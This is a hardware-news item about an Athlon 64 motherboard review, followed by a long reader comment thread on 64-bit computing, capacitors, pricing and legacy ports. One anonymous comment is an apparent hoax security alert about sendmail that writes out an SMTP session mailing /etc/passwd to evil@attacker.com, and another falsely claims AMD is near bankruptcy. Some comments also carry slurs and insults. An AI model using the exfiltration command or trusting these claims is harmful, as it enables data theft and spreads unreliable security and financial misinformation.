Athlon 64 Motherboard Triple Threat Round-Up

SpinnerBait writes "Soon after AMD released the Athlon 64 to the public, eager motherboard manufacturers unveiled their latest motherboards for AMD's new baby. Some are offering basic packages that boast features and performance, yet forgo the extras found in premium bundles. Other manufacturers are offering snazzy new packages with all kinds of extras and unique features. The only thing left to do is decide which one is for you. HotHardware has an article posted up, that showcases and benchmarks three top Athlon 64 motherboards, from Asus, MSI and Shuttle. These boards are looking more refined every day."

Comments

Yes!

[Anonymous Coward]

Now I can finally run... uh... 64 bit Linux, and uh... ummm... SSE2 programs on an AMD chip! Yeah!

Re:Yes!

[pi eater]

YES!@# I can finally play n64 games on my box.. wait.. what??

geek gear

Re:Yes!

[RichardX]

Better still, this means the PC will finally be fully compatible with the Commodore 64!!

Linux news

[Anonymous Coward]

Please mod this up as it is imperative that this news get to the Linux community ASAP - it concerns a new sendmail vulnerability which has recently been made public and is simple to exploit.

Unfortunately, it appears that most sendmail binaries that are distributed with Linux were inadvertently built with the DEBUG flag, which makes this exploit possible. I have tested all the linux distro's I have access to and found them ALL to be vulnerable.

The exploit works as follows -

220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from:
250 OK
rcpt to:
250 OK
data
354 Start mail input; end with .
mail evil@attacker.com /etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

Opening a connection to a vulnerable SMTP server and executing the above will result in your password, shadow, or whatever file the attacker desires being emailed to evil@attacker.com! Given that the most recent versions of Crack and Jack the Ripper make cracking even the most complex MD5 or blowfish passwords a trivial exercise, this is a serious problem.

The open source community has been slow to address this issue, which was made public 3 days ago on the mailing list Buqtraq (a CERT Advisory was issued the following day).

Since no patch has been made available by the open source community, there are not many options besides taking down your Linux mail server.

Alternatively, MS Exchange and the OpenBSD 3.3 sendmail binaries (once again, Theo is ahead of the game!) do NOT have this defect, so you might consider switching your mail server to one of these platforms.

I realize this is going to create an extremely long and hectic night for a lot of sys admins out there, but better that one stays up late tonight than comes in Monday morning to a compromised network.

Take this third post...

[Anonymous Coward]

and fsck it!

FP?

[Anonymous Coward]

Holy fuck!

Athalon?

[Anonymous Coward]

I use it to heat my house.

Hot Hardware reviews suck

[CTho9305]

PLEASE wait for better sites to do reviews!!!

Re:Hot Hardware reviews suck

[Anonymous Coward]

GO AND FUCK YOURSELF

Re:Hot Hardware reviews suck

[Anonymous Coward]

And you are the all mighty "review gawd" eh?

I think these guys do a good job of covering all the important stuff and give a few datapoints on it on how things stack up on the bench.

Re:Hot Hardware reviews suck

[Anonymous Coward]

Slashdot? Wait!!?

Surely thou doth jest?

Beware the crappy low-ESR capacitors

[Anonymous Coward]

New boards are STILL BEING MADE with junk capacitors that leak after less then a year of usage!!

Note to self:

[niko9]

Nick, wait 'till your favorite distro is out (64 bit Debian) before you spend your hard earned cash. The prices will have come down a bit, the 1.0 bugs will be out and hopefully fixed, and your favorite motherboard maker (Tyan) will be out with a nice non-overclocker but extremley stabel and quiet 64 bit motherboard solution.

Thanks.

Re:Note to self:

[hattig]

Tyan already have at least *six* different motherboards for AMD's 64-bit platform.

Most of them are for Opteron though, but that means that there is a lot of experience within Tyan for the platform, so the A64 boards will be good from the get go.

Re:Note to self:

[Anonymous Coward]

Actually, Tyan has not one, but five 64 bit motherboards available.

Re:Note to self:

[Anonymous Coward]

Could you have written that any gayer?

Re:Note to self:

[crazysim]

"will be out with a nice non-overclocker but extremley" What????? Isn't that a disadvanatage? I don't know, but I'll rather have a overclocker thats stable and quiet than a non overclocker.

Re:Note to self:

[Anonymous Coward]

jesus listened to vinyl [vpiindustries.com]

1. Vinyl uses *ONE* track to store *TWO* audio channels, using an *OLD* *ANALOGUE* encoding scheme which introduces interchannel modulation, distortion and noise. Which is further compounded when your $10,000 player decodes it.

2. The higher the frequency within a vinyl track, the finer the peaks. Those peaks get gradually *RUBBED OFF* as the needle moves through them. The result of this is typically that the high end gets attenuated after each play.

Defeating wow, flutter and rumble in a vinyl deck to the point where they are unmeasurable is an admirable feat. But what is the point of even trying to do that when your two channels are encoded into one and you loose high end more and more after each play?

Then factor in that a $100 CD player from Target beats the crap out of a $10,000 vinly deck!

What - is - the - point?

Re:Note to self:

[Anonymous Coward]

Amen to that!

What with recent posts on 300+ Mbyte fixes for the latest Mandrake release and LG CD-ROM destruction because of firmware bugs, it always pays NOT to be on the (b)leading edge! Nobody tests their products before release anymore, counting on customers to test their latest products. I refuse to be guinea pig!

Re:Note to self:

[Cyno01]

Yeah, but why even deal with a player that touches the record?

Re:Note to self:

[Anonymous Coward]

damn, missed the e in href Fixed Link ~Cyno01

Re:Note to self:

[Anonymous Coward]

LOL!

Re:Note to self:

[Anonymous Coward]

I think you meant: could you have written that any gayer? The italics indicate a Chandler Bing-esque intonation, with the pitch rising at an unconventional point in the delivery of the sentence, thus alluding to the most influential comedic talent of our time, Matthew Perry.

Re:Note to self:

[Anonymous Coward]

yeah yeah wait for Debian to be ported so you can get the hardware on the discount end-of-life rack!

Big Whooop

[grennis]

I'm waiting for the Athlon 128.

Re:Big Whooop

[Anonymous Coward]

Appel will half tehm f1RSt!!1! Appel r000l3z!!

Re:Big Whooop

[Anonymous Coward]

you ArE Teh sUxor!!!11!!!111ONE

Re:Big Whooop

[ruda]

Athlon 128, true 64 bits + 64 bits to expand.

Exploding Motherboards

[Davak]

What ever happened with the exploding motherboards?

Re:Exploding Motherboards

[Ark42]

This is stil a problem. My nforce2 boards (Epox 8RDA+) are only 8 months old, made in Jan 2003, well after this was known to all the motherboard manufacturers, and already have buldging capacitors. I am currently sending them back for free repair. It only costs me $9 to ship it there and $11 for them to ship it back each time.

Re:Exploding Motherboards

[Datasage]

I dont think its just motherboards, i had a video card that went out on me. When i inspected the board, several capacitors were leaking or bulging.

Re:Exploding Motherboards

[pi eater]

they exploded.

geek gear

Re:Exploding Motherboards

[_|()|\|]

I just lost the two capacitors by the AGP port on an MSI K7T Turbo. The system continues to work with a PCI video card. I'll try to get it replaced under warranty, but I'm planning on upgrading to an Athlon 64 in the mean time.

Next Gaming System--drool.

[Davak]

Me want.

It rolls over a P4 3.2 gig in the gaming benchmarks.

I guess I am assuming that the Athlon 64 doesn't have some special Quake benchmarking code... :)

Re:Next Gaming System--drool.

[Anonymous Coward]

Funny, looks like the P4 schooled the Athlon 64.

Re:Next Gaming System--drool.

[ottothecow]

i'm sure glad I ordered the ASUS with my a64 2 days after release...either way it would have run but i'm glad that mine scored higher in the benchmarks and I would highly reccomend it for anything.

mine didnt come wiht the wifi or the ram (but its the same ram I bought..very nice) but the onboard networking is incredibly fast and low resource for onboard networking...nice job asus!

Re:Next Gaming System--drool.

[Anonymous Coward]

It rolls over a P4 3.2 gig in the gaming benchmarks.

Well it better now that the P4 3.2 is cheaper than the A64. $395 for a 3.2 P4 on newegg.

Re:Next Gaming System--drool.

[Glock27]

Well it better now that the P4 3.2 is cheaper than the A64. $395 for a 3.2 P4 on newegg.

$399 for Athlon 64 3200+ on pricegrabber.com...so no real difference there except more RAM addressing for the Athlon. :-)

BTW, I'm sure Intel is pissed at that price for the P4 3.2 GHz. Most of them are still priced over $600, and several were over $700. ;-)

Those kind of dollars are reserved for Athlon64 FX and Opteron these days...

in soviet russia

[Anonymous Coward]

motherboard manufacturers own YOU!

Re:in soviet russia

[Anonymous Coward]

Motherboards benchmark you?

Why bother

[Anonymous Coward]

This would not seem to have any benefits for the average user, since there is no native version of Windows for the AMD 64 platform yet. This means that you will be running most software in emulation mode at a performance hit. And even when the new Windows version comes out, if ever, you will still have to use emulation to run most software since most software won't be ported to such niche architectures. Seems like a better idea to stick with the industry standard Intel architecture to me.

Re:Why bother

[Atmchicago]

So right now your computer is slow, but speeds up over time. Woah!

Re:Why bother

[Anonymous Coward]

not everybody runs Micro$not Windoze...

Re:Why bother

[Anonymous Coward]

Riiiight... and the average user also cares about motherboards...

</sarcasm>

This isn't a story for the average user. If you're an average user---well, it's alright to be an average user, just don't troll again, m'kay?

Re:Why bother

[Anonymous Coward]

95% of people do. That rounds up to 100%. If you run into someone on the street, chances are they either don't have a computer, or run windows. If you are discussing the viability of a computer product, the question of whether or not it is fully usable when running the operating system almost everyone uses is very relevant.

Re:Why bother

[Anonymous Coward]

You'd have to be an idiot to round up like that, which you probably are. 95.5 may round up to be 96%, but rounding %95 percent to %100 is just windows luser type idiocy in it's extreme.

run 64bit with less than 3G memory ?

[ticktack]

Non of three motherboards supports more than (max) 3G memory, what is the purpose of using 64bit cpu?

Re:run 64bit with less than 3G memory ?

[Anonymous Coward]

More registers? Hypertransport?

Re:run 64bit with less than 3G memory ?

[ticktack]

64bit CPU is a lot slower than 32bit CPU with the same technology anyway.

Re:run 64bit with less than 3G memory ?

[Anonymous Coward]

You're at least a little bit retarded, aren't you?

Re:run 64bit with less than 3G memory ?

[dvdeug]

64bit CPU is a lot slower than 32bit CPU with the same technology anyway.

It depends on what you're doing. If you're handling a lot of 64 bit integers, then it isn't. In any case, AMD64 is not the same technology as ix86; the massive increase in registers and additional parallel processing units can add a lot of speed in certain situations.

Re:run 64bit with less than 3G memory ?

[Anonymous Coward]

That is only because the largest DIMMs available ATM are 1GB. More then 3 DIMMs can not support fast memory (200MHz+). Their only choice is to limit to 3 DIMM slots or allow rediculous slow memory timings.

Re:run 64bit with less than 3G memory ?

[Jeff DeMaagd]

Well for a lot of things at least it still is faster than Barton or Thunderbird for a lot of things even in 32 bit mode.

If they were running a real 64 bit OS then at least they'd get the larger and twice as many registers. I suspect the doubling of the number of registers in the A64 architecture is what makes it run faster in 64 bit mode than 32 bit mode. As a lot of the other 64 bit architectures IIRC have the same number of registers for both modes, 32 bit mode actually runs a little faster than 64 bit mode. I suspect that is because of storing pointers, a 64 bit pointer takes twice the bandwidth to load and store vs. a 32 bit pointer.

Re:run 64bit with less than 3G memory ?

[Anonymous Coward]

what is the purpose of using 64bit cpu?

Bah, you l0o$er$ $uxxor!

My old gaming console is 128bit! You want a 64 bit OS and computer when I got 128bit Mario Bros!

And what's more, I got 64bit sound for years (AWE64)!

Re:run 64bit with less than 3G memory ?

[thogard]

And what are the larger registers going to do to speed up 99.9999% of what a CPU does? How much of the code in the linux kernel is deals with 64 bit numbers? It isn't a good idea to push around a bunch of extra zeros to keep from having to worry about an add with a carry ever one to two billion operations. Ever look at the code produced by a modern compiler or even GCC? Its only going to use 6 or 7 GP registers anyway. All the extra stuff is just going to make the CPU work harder on a context switch. Tell me again how this 64 bit things going to be faster? It isn't on my sparc, and it isn't on my n64.

Re:run 64bit with less than 3G memory ?

[wrmrxxx]

Even if the boards do not accept large amounts of physical memory, 64 bit is still useful. Your applications can have a massive 64 bit address space available to them - enough for example to have pointers into very large video files, amongst other things.

Re:run 64bit with less than 3G memory ?

[Anonymous Coward]

the 64 represented how many voices it could play at once you twit!

Re:run 64bit with less than 3G memory ?

[Anonymous Coward]

Just a wild guess, but win32 reserves half of the address space for system use. So 2.1GB of addressable memory for one process would require 64-bits. (or at least pointers larger than 32 bits, I've never used the 36-bit stuff but I can't imagine it's pretty)

Re:run 64bit with less than 3G memory ?

[Weirsbaski]

Non of three motherboards supports more than (max) 3G memory, what is the purpose of using 64bit cpu?

So you can't have more than 3G physical memory, but the OS can allocate any amount of virtual memory, as long as only 3GB is paged in at any one time. This sounds really useful for some tasks, such as managing files on the hard disk.

Plus, some algorithms (encryption for one) work much better in 64-bit mode, because of things like a wider multiplier and more general-purpose and SSE registers.

Re:run 64bit with less than 3G memory ?

[10Ghz]

If you want to see what benefit 64bits gives you when compared to 32bits, then click here. A 34% improvement in a real-life app when using 64bits.

Re:run 64bit with less than 3G memory ?

[Florian Weimer]

Non of three motherboards supports more than (max) 3G memory, what is the purpose of using 64bit cpu?

AMD64 has a larger register file, which helps some compilers to generate better code.

Re:run 64bit with less than 3G memory ?

[Urkki]

Having an OS designed for 64 bit virtual address space would allow some nifty optimizations, such as putting every running program in a different address space, thus allowing slightly faster process switching.

Then of course there's this thing called hard disk, which can be over 4GB in size these days... So even the swap space could easily be over 4GB in size, and then of course individual files could be that too.

Re:run 64bit with less than 3G memory ?

[Anonymous Coward]

The new registers are not limited to just 64bit integers. Existing code can take advantage of additional general registers for 8, 16, 32 or 64bit integer values. Less L1 cache hits and less loads & stores all equals more speed.

Re:run 64bit with less than 3G memory ?

[drinkypoo]

Recompiling your 32 bit code for use on the 64 bit processor leads to a 5-15% speed increase simply due to avoiding problems with register starvation, and the fact that some operations (mostly those involved in shoveling data) will be twice as fast because you only have to do half as many of them.

The Athlon 64 also has a significantly faster FSB than the Athlon XP, and it has SSE2, which the XP lacks.

The athlon xp is dead as an upgrade path as a result. If you have an xp, and you need more power, and you don't want to go with intel, what's left? Maybe you don't need more than a gig or three of ram. I know I don't. (I would like to upgrade to two gigs, though) :)

Re:run 64bit with less than 3G memory ?

[heh2k]

Having an OS designed for 64 bit virtual address space would allow some nifty optimizations, such as putting every running program in a different address space, thus allowing slightly faster process switching.

they already are, in every OS i know of.

Re:run 64bit with less than 3G memory ?

[Cplus]

The word you're looking for is "polyphony".

Re:run 64bit with less than 3G memory ?

[Urkki]

Uh, maybe I used wrong terminology, but I meant 64bit flat address space. A 32bit OS can not address more than 32bits worth of address (well, I guess x86 can address something like 4 times that if I remember the number of segment registers correctly, but that's still 34 bits, not 64). To address more, you have to have more bits.

AMD a going concern? Nope.

[Anonymous Coward]

AMD's financial statements are a complete mess. In fact, in the auditor's opinion they were labelled as not being a 'going concern' - for the non-CPA's accountants out there, that means AMD is about to go belly up.

I wouldn't buy an AMD processor right now, because the company is not long for this Earth...

Just the opinion of a CPA.

Re:AMD a going concern? Nope.

[Anonymous Coward]

hahahahahahahahahhahah
thats why the opterons have made the stock double in the last 3 months?

besides didnt you know. trolls cant become CPA's

Re:AMD a going concern? Nope.

[Anonymous Coward]

lol @ troll.

that is why even the retarded analysts are putting AMD up, and why their share price is around $15, as opposed to $4 a year ago ...

Re:AMD a going concern? Nope.

[Anonymous Coward]

Stocks are traded for many reasons... one of those is *speculation*. I haven't seen the earnings, which would actually tell you about the financial situation of the company.

There were plenty of dotbombs that were trading at 100+. That didn't mean they were making money or were going to survive. After it was learned that they weren't going to make money and were bleeding money like a stuck pig, investors dropped the stock.

Don't confuse the stock market with real life.

Re:AMD a going concern? Nope.

[GooberToo]

What a troll!

Since when do you need support on your CPU? Just because the company goes bust, which I doubt is going to happen, doesn't make the CPU's you've purchased suddenly bad.

What troll. What dolt.

From the article

[1984]

"The Northbridge comes with passive cooling, however, the design is not the most effective for dissipating heat. We think a taller, more extruded heat sink like MSI's is more effective at wicking heat away from the chipset."

Let's keep it scientific: did you do any measurements, or just you just reckon you have a better eye for heat dissipation than the folk at Asus?

Re:From the article

[handybundler]

that heat sink is removable and you can get NSB chipset fan kewlers, you know.

Re:From the article

[Neon Spiral Injector]

My Tyan board has a short heatsink on main motherboard chipset (is it really a Northbridge?). It barely gets warm to the touch. The AMD64 moves most of the Northbridge features into the CPU, cooling isn't much of an issue now.

Re:From the article

[mad flyer]

Since this comment add something interesting about a feature of the MB, why is it modded -1 ?

I'm still trying to understand slashdot moderation, and the more it goes, the more it look like some kind of vengeance for high school discimination by the same means...

tired...

Re:From the article

[Anonymous Coward]

I'd guess it was modded as such because it has nothing at all to do with the parent post it replied to.

Re:From the article

[ameoba]

In either case, the heatsink is perfectly capable of running things at stock speeds, however, for a serious overclocker, even the mobo's northbridge needs better cooling than a simple passive HS stuck on with thermal tape can provide.

While the observation isn't terribly scientific, it's probably drawn from some experience with OCing other similar designs.

Re:From the article

[Anonymous Coward]

the folks at Asus couldn't tell heat dissipation from deep heat. they just try to save as much money as possible without shipping _completely_ worthless shit, like the rest of their chinese competition.

Re:From the article

[Anonymous Coward]

Maybe because kewlers suck?

Triple Threat?

[YOU LIKEWISE FAIL IT]

Was this supposed to be 'Triple Treat'? Or should I be concerned that three motherboards are going to kick in my door and start looting my posessions?

YLFI

Oh Boy!!!

[Anonymous Coward]

Maybe Santa Clause will bring me a new mainboard & Athlon64 for Christmas...

with about 1 gig of RAM...

Re:Oh Boy!!!

[cfuse]

Maybe Santa Clause will bring me a new mainboard & Athlon64 for Christmas...

No, you've been a bad boy and Santa is bringing DRM enabled toys. No soup for you!

How about some more pro features?

[hirschma]

I just can't help but feel that the manufacturers are missing the boat on what features should actually be present - and features that at least some folks would pay more for...

* Faster PCI. How about PCI-X? or 66mhz/64bit? Something that lets a power users do more without saturating the bus.

Of course, it'll be a moot point when PCI express arrives...

* More PCI. More than one bus would be nice - even two standard PCI busses would be useful to a lot of folks.

* More memory slots! Um, these CPUs can address more than 2/4 gigabytes. At least 6, and preferably 8 slots would be a good thing - let folks get to some really large RAM sizes inexpensively.

At least they got gigabit right (but probably hooked to the PCI bus, not good), and Firewire (but not the new faster kind, and again, hooked to the PCI bus).

I'd think that a properly outfitted board would be a video enthusiast's dream, or a hpc dream, or whatever. I'd expect that once MS actually ships XP 64, you'll start to see prosumer boards that address my gripes. But I'd sure like one now, price somewhere between these low-enders and higher-end "server" boards.

Jonathan

Re:How about some more pro features?

[hattig]

Sounds like you want something like the Tyan K8W which has AGP 8x, PCI-X and supports 16GB of memory.

Sure, it is dual processor, but if you are wanting PCI-X and 16GB of memory support, then you probably want dual processors. I suppose you could live with one processor and 8GB of memory though.

Re:How about some more pro features?

[Anonymous Coward]

Most people spending $400 on a CPU want to run their memory at FAST speeds. Look at the speeds you can run with these boards: 1 or 2 DIMMs @ 200MHz; 3 DIMMs @ 166MHz; 4 DIMMs @ 100MHz!.

Re:How about some more pro features?

[hirschma]

The Tyan is more than I need, for more than I want to spend. Plus, it uses more expensive procs and memory.

Give me something that supports the low-end Athlon64, but has a bit more ooomph - something halfway between feast and famine, and I'd be happy. I'd bet a lot of other folks would, too.

Re:How about some more pro features?

[Jeff DeMaagd]

I think a lot of these system designers think their buyers are retards. I've found several dual Opteron boards with _one_ memory channel. If the A64 platform is the hot sh!t that people say it is, why not let it have the memory bandwidth it really needs? I have a four year old Xeon that has two memory channels and I think it's still a pretty badass system. I think dual Opterons might be capable of running four memory channels. I understand there's a lot of wire routing and that makes boards more expensive, but compared to the prices of the chips, I don't mind spending more.

Except for _one_ maybe two Tyan boards, one cannot get 64 bit or 66MHz PCI or better _and_ AGP. Multiple PCI busses are also nice for anything truly I/O intensive. I have three systems that have two (maybe one has three) PCI busses. I don't think I need it but it's nice to know it is there.

Re:How about some more pro features?

[the_2nd_coming]

how about dumping legacy interfaces?

parallel ports and serial ports? please!!

if you have a legacy device, you can use an adapter to connect to a USB port.

Re:How about some more pro features?

[thynk]

Great idea for 99% of the population. I guess where I work is the exception. We have several machines that are old enough to still use legacy stuff that was never upgraded- so when it came to upgrade the old P2 processors, I was forced with finding a modern MB that had 2 or more ISA slots.

A couple hours of searching turned up a P4 Soyo board that must of been made with us in mind. I never did find an Athlon solution and that's just sad.

Re:How about some more pro features?

[ruiner5000]

Those are features of Socket 940 boards like the Tyan, and other workstation Athlon 64 FX/Opteron motherboards. Don't expect those on enthusiast/desktop boards.

Re:How about some more pro features?

[Anonymous Coward]

Why?
Are they in the way?
Do you have something against getting many kinds of ports/connectors?

Re:How about some more pro features?

[default luser]

You don't seem to understand. More features = higher cost.

The Athlon 64 does not have dual memory controllers, and the typical maxiumum per controller is 4 DIMMS, 3 with performance memory ( 166 DDR ), or 2 with high-performance ( 200 DDR ).

So, to begin with, YOU WANT a chip with dual memory controllers so you can easily break the 2GB ram barrier. This is going to cost you.

Second, dual memory controllers means a SECOND memory bus, which means the complexity of the board goes up ( more traces, possibly more layers ). They also aren't going to sell as many high-specced boards, so they have to price these higher to turn a profit on the production run.

Finally, in order to APPEAL TO PROFESSIONALS, these boards have fancy PROFESSIONAL features lkike PCI-X and Gig Ethernet, just to name a few. The whole board is also designed to pass more rigorous stability testing than your average POS $99 motherboard.

So let's see, you want AMD to GIVE AWAY their highest-performance feature ( dual memory controllers ), AND you want motherboard makers to build a no-frills professional board that lacks the features and tolerances that most customers expect.

YOU ARE NUTS.

Face it, anyone who needs 8GB of memory TODAY is a PROFESSIONAL and CUTTING-EDGE, so far as the workstation market is concerned. You can get a mainstream 8GB machine powered by AMD, Intel, SGI, Sun, IBM, etc, but you will pay through the nose for it.

If you need the power, then pay for it. Otherwise, compromise, or wait until the technology filters down.

Re:How about some more pro features?

[pclminion]

if you have a legacy device, you can use an adapter to connect to a USB port.

Yeah, next time I'm designing my own circuit to connect to a computer I'll bear that in mind. After all I can just shell out a few hundred dollars for a nice USB client controller, assorted circuit elements, design time, etc. Plus I'll get the joy of designing hardware to speak a complicated protocol which is massive overkill for my needs. Or I could use a device like you suggest, which would add all kinds of unpredictable packet latency and kill any chance of sychronous operation the thing may have had.

Yes, we seriously need to do away with these generic IO ports that have proven so useful to so many hobbiests and experimenters over the years. After all, the damn things costs like $2 to include on the board. You could possibly save a buck on the MSRP by omitting it! It's a total no brainer.

</sarcasm>

Keep your hands off the "legacy" digital interfaces, Mr. Nearsighted.

Re:How about some more pro features?

[Anonymous Coward]

so gt a fucking adapter card you dumb FUCK!!!

HotHardware?

[ShatteredDream]

It's only fitting since the last x86 system I bought is also able to serve as my college apartment's central heating system in the winter time....

Re:HotHardware?

[borgasm]

I run 4 boxen in our common space. 3 Athlon XP's and a PIII.

Needless to say, we keep our windows open when it snows, and its still too hot...

Re:HotHardware?

[Anonymous Coward]

Needless to say, we keep our windows open when it snows, and its still too hot...

Every think of turning down the heat? I've got various systems in a storage closet, another Athlon system just outside it, and it's a very average 70 degrees in there. Basically the same temp as the rest of the house.

Re:HotHardware?

[EverDense]

Every think of turning down the heat? I've got various systems in a storage closet, another
Athlon system just outside it, and it's a very average 70 degrees in there. Basically the same
temp as the rest of the house.

"turning down the heat", is that a BIOS setting?
Or should there be a jumper on the motherboard?

Re:HotHardware?

[Anonymous Coward]

it's so true...in a cleveland winter, with two athlons in a dorm room we have to open the window to be comfortable. (for those unaware, cleveland is COLD.)

Re:HotHardware?

[Anonymous Coward]

Every think of turning down the heat?

Not everyone has that option - many people in dorms/apartments can't control the heat. I duct-tape the heating vents in my dorm room, but heat still comes in from the hallway. People with radiators wouldn't even be able to do that.

Re:HotHardware?

[pi eater]

I use mine as a toaster.

geek gear

Re:HotHardware?

[stfvon007]

4 computers kept my dorm room at a nice 70-75 degrees, even with the heater off ond temps outside in the single digits.

Re:HotHardware?

[Anonymous Coward]

I stole mine. X-P

Re:HotHardware?

[antiMStroll]

"turning down the heat", is that a BIOS setting?

Oddly enough, yes. Underclock the CPU. A closet server's performance bottleneck will likely be I/O anyway. Trade unused performance overhead for cooler temps and longer device life.

Re:HotHardware?

[Pfhreakaz0id]

Exactly. My server at home has one pIII 600mhz and another empty slot. I keep meaning to get another processor, but looking at the perfmon, it doesn't really need another one.

Re:HotHardware?

[borgasm]

Sadly this is not an option...

All my servers have an average load of about 1.3, and higher on busy days....

Right now I am saturating my 100MBit switch (the uplink that is).

Welcome To The Nightmare World Of 64bit WinTel

[Anonymous Coward]

Too bad I'll be missing out. http://www.apple.com/powermac/

Re:Welcome To The Nightmare World Of 64bit WinTel

[Anonymous Coward]

I can buy all three of those boards for the cost of your powermac. Why don't Mac bigots understand capitalism and bang for the buck ? Oh yeah, because they are all liberals.

Re:Welcome To The Nightmare World Of 64bit WinTel

[Anonymous Coward]

Nothing can touch the price/peformance of a dual G5 system.

Go away dummy, you're days are coming to an end.

Re:Welcome To The Nightmare World Of 64bit WinTel

[Anonymous Coward]

The difference is, on the Mac there is usable, native 64-bit software. On the PC, if you're using the industry standard OS, you have to run everything in x86 emulation mode since there is no native support.

Re:Welcome To The Nightmare World Of 64bit WinTel

[mad flyer]

If I have to choose between 3 motherboards and a workable powermac G5, I take the G5...

Even if i'm actually getting tired of computers... Even Macs are way too complicate for my casual wab/mail surfing at home...
Really need something simple as a TV (NOT SIMPLE AS A VCR, still can't figure how that possessed beast work) that can hold in the pocket...

God... and i'm a sysadmin... bad luck...

Re:Welcome To The Nightmare World Of 64bit WinTel

[Anonymous Coward]

your not a sysadmin you just manage them.

FX-51?

[Ceadda]

Be nice if they actually reviewed the nice processor. After all, this is slashdot. If your gonna go 64 bit, might as well go all the way?

Re:FX-51?

[Slack3r78]

Because the FX and standard A64 aren't pin-compatible. The standard A64 is Socket 754, the FX is Socket 940 (read: rebranded Opteron).

Re:FX-51?

[pi eater]

silly rabbit, geeks never go all the way

geek gear

Re:FX-51?

[afidel]

Yes and AMD is going to make things REALLY confusing by introducing and Athlon64 FX on Socket 939 which will be a single channel version of the Opteron, so there will be three socket formats for new AMD chips, the 754 for the Athlon64, 939 for the Athlon64 FX, and 940 for Opteron and older FX chips (geeze, talk about confusing, I'm a tech and I hate this kind of stuff). Add in the older boards for Athlon XP's and MP's and you can see where most mere mortals would throw up their hands and have someone else build their PC despite the fact that it's cheaper and fairly easy to actually put your own PC together.

Re:FX-51?

[Anonymous Coward]

if your a tech, wouldn't you want ppl to have someone else (aka you..) build thier system?

Re:FX-51?

[BlueBiker]

AFAIK, the 939 pin socket will be dual channel. Or 128-bit single channel, which isn't quite the same thing.

Re:FX-51?

[afidel]

No, there hasn't been any money in building boxes in a LONG time (like 5-6 years). Dell made sure of that. I do deskside support, system migrations, some break/fix work and low end sysadmin work.

Re:FX-51?

[Charcharodon]

We come in peace, shoot to kill, shoot to kill,shoot to kill... We come in peace, shoot to kill, Scotty beam me up! Haha, haven't heard that song in ages, nice sig.

Re:FX-51?

[_|()|\|]

Athlon64 FX on Socket 939 which will be a single channel version of the Opteron

Actually, it will still be dual channel. It just won't require registered memory.

Re:FX-51?

[Anonymous Coward]

Think about it:
Most home-built boxes are replacing obsolete boxes.
You save more money from recycling the old parts into the new one than than you'd recover from selling the old one.

I find it's easily enough to make the exercise cheaper than buying pre-built, and of course you don't have to compromise on the component choices, or end up with unneeded non-optional extras littering the place.

I'm left with Questions!

[jmorris42]

1. Why are all three "64bit" boards limited to 4GB of memory?

2. Why are they being evaluated solely with 32bit applications/operating systems? Can't we at least get a kernel compile time benchmark? RedHat's RHEL3 has a free set of beta iso's available for AMD64 so there really wasn't a good excuse for not finding out how well they perform in their native mode.

3. What was the reason for the reviewer's obsession with having six-channel audio as analog outputs without a dongle? Isn't that what SPID-F plugs are for?

4. Since Linux is currently the ONLY supported OS for AMD64 in native mode, information about how well the boards are supported driver wise would have been helpful.

Re:I'm left with Questions!

[Anonymous Coward]

They have 4 DIMM slots and the largest DIMMs you can currently buy are 1GB each. Offering more DIMM slots = $$$ and 99.9% of people right now will not be using more than that in a desktop system. There are plently of 1p-Opteron mobos with 8 DIMMs if you really need it.

Re:I'm left with Questions!

[ValourX]

Actually NetBSD is the furthest along in terms of AMD64 maturity -- not GNU/Linux. FreeBSD also has an AMD64 port in development.

-Jem

Re:I'm left with Questions!

[Anonymous Coward]

That's sort of a blanket statement. Gnu/linux supports amd64 perfectly well, so it's hard to see what you mean.

Re:I'm left with Questions!

[e40]

and SuSe 9.0 professional will also support AMD64 quite well. It comes out this week, if I remember correctly.

Re:I'm left with Questions!

[G-funk]

Yeah so long as you don't have an LG drive :)

Re:I'm left with Questions!

[Paul Jakma]

NetBSD is the furthest along in terms of AMD64 maturity

Just curious, but how do you figure that? SuSe was working with AMD to port Linux and indeed Linux was running on the x86-64 simulator quite early on. I cant find anything to support it, but I have a vague memory Linux was first to boot x86-64 (simulated). NetBSD port appears to have been done in 2001, cant find references to Linux, but the impression was that AMD were really keen to get Linux ported over as quick as possible.

Re:I'm left with Questions!

[Sycraft-fu]

I'll make some educated guesses at the answers to your questions:

1) The boards weren't designed for pros really. They were designed for home enthusiast types that just want to have the latest shit. 4GB will be plenty. If you've need for more memory on x86, there are boards to accomadate you for the Opetron or the Xeon.

2) Again, the target of the boards and of the site. These really aren't aimed at the pro market. I mean the only people who, at this point, will exploit the 64-bit features of the chip are those doing custom software (like scientific analysis tools) on UNIX (or Linux). Everyone else it just a latest greatest junkie and is probably running Windows playing games. I mean it's not even really a target for the DB market since it lacks larger memory (the main reason to want 64-bit) and Oracle isn't on x86-64 yet AFAIK.

3) Thing with S/PDIF is, you've got to have a decoder. They output Dolby Digital or DTS and then something has to decode that for you. Well, many people don't have the setup for that and don't want to buy a decoder (they aren't cheap). Hence, analogue outputs are nice.

4) Again, the target audience of the boards and the site.

Remember that a lot of computer technology (and much else) isn't motivated by need or logic, it's motivated by desire. Want to be the first r0xx0r d00d to have a 64-bit system? Here you go, and at a more consumer price point. Is it useful if you spend all day running 32-bit software? No, but much of what people buy isn't useful.

Re:I'm left with Questions!

[Anonymous Coward]

Answers...

1) Address traces cost money - limiting physical memory to 4GB saves money.

2) 64 bit OSes and apps aren't very mature right now. It also helps to be able to compare to a 32 Intel system. 64 bits will be slower relative to 32 bits in many situations (think pointer-heavy programs).

3) Agreed

4) Agreed. Everyone is really waiting for Windows 64 though.

Re:I'm left with Questions!

[Jacco de Leeuw]

Mandrake has the LG bug, not SuSE.

But you're right, Mandrake will also release an x86-64 version of 9.2.

And its GigE is hooked to the PCI-X bus :-)

[Namarrgon]

...though unfortunately its SATA 4-way RAID isn't :-(

Also unfortunate is the price - AUD$1000+ down under. What good is a well-performing dollar when you still get these prices, I ask you?

Re:And its GigE is hooked to the PCI-X bus :-)

[Anonymous Coward]

It is $500(USD) for us in the states.

Re:And its GigE is hooked to the PCI-X bus :-)

[Anonymous Coward]

Well, you see, there's these things called "exchange rates". I know you USians have trouble comprehending that there's actually people out there who don't use the US dollar, but try, OK?

Re:And its GigE is hooked to the PCI-X bus :-)

[Yottabyte84]

IIRC, $1.00 AU == $0.66 US. /me looks on xe.com

oh, well, it's $0.70 now. so that's $700 US.

fly me a dragon

[Anonymous Coward]

